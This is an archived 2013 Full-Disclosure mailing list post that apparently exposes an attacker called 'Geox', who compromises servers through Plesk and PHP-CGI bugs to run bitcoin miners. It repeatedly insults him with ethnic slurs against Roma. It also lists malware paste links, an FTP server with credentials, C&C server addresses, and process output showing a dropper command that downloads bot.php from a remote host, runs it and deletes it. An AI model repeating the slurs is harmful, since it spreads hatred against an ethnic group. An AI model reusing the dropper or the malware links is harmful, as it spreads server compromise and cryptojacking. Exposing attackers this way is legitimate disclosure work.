full-disclosure - Geox fails..

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [thread-next>] [day] [month] [year] [list]

Message-Id: <20131105122244.43EE4A0087@smtp.hushmail.com>
Date: Tue, 05 Nov 2013 20:22:43 +0800
From: pr0n4h4x@....hush.com
To: full-disclosure@...ts.grok.org.uk
Subject: Geox fails..


Geox is just another annoying wannabe hacker and gypsy criminal from
Romania. He's been around for a few years trying to impress his mom
and his little gypsy fellas with mad hacking skillz..
This stupid donkey is currently into teh bitcoins infecting boxes
through well known Plesk (CVE2013-4878) and PHP-CGI (CVE2012-1823)
bugs planting a lame bitcoin miner. 
Who would ever mine on CPUs.. again?!?!
Whatever, eat shit and die you fuck*ng gypsy!
8============D Awes0me FTP s3rv1ng sh1t
ftp://ftp:wer234234@...79.48.186/

8============D Awes0me to0lz o' trad3 
bot.phphttp://pastebin.com/9hgZ9ZUc
winbot.phphttp://pastebin.com/wNDedBmU
winbot2.phphttp://pastebin.com/ibfky3uR
x.exehttps://malwr.com/analysis/NzFiMTcxMmExYjU4NDdiYTllNDQ0NzcyNGY5OGUzMjA/http://anubis.iseclab.org/?action=result&task_id=13472b0107a54b824518471e7c7b1b873
updatehttp://pastebin.com/FieAK7yK
ahttp://pastebin.com/4PVDpkCe
8============D Compr0miz3d b0x
8769 ?        S      0:00 sh -c cd /tmp ; wget
ftp://ftp:wer234234@...79.48.186/bot.php ; curl -O
ftp://ftp:wer234234@...79.48.186/bot.php ; fetch
ftp://ftp:wer234234@...79.48.186/bot.php; php bot.php ; rm -rf
bot.php6332 ?        Ssl  550:17 bash -o stratum+tcp://mine.cc.st:3333
-O geox.1:x -B
8============D C&C b0xez

> C&C IRC Server: 67.207.134.147
root@...aunit:/var/log/apache2# netstat -anp|grep ircd|wc
-l1251root@...aunit:/var/log/apache2# w23:28:02 up 356 days,  5:18,  0
users,  load average: 3.57, 3.70, 3.65USER     TTY      FROM          
   LOGIN@   IDLE   JCPU   PCPU WHAT
> C&C IRC Server: 67.207.128.106 (ircd.port0.org < Registered through
afraid.org)
# w10:06:48 up 605 days, 17:59,  0 users,  load average: 0.00, 0.00,
0.00USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU
WHAT# netstat -anp|grep ircd|grep ESTABLISHED|wc -l2393
# grep -i total-securite.net ircd.log[Mon Nov  4 05:22:59 2013] -
Connect - Geox!Geox@...al-securite.net[Mon Nov  4 05:23:13 2013] -
OPER (Geox) by (Geox!Geox@...al-securite.net)[Mon Nov  4 05:26:12
2013] - Disconnect - (0:3:15) Geox!Geox@...al-securite.net
Content of type "text/html" skipped

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/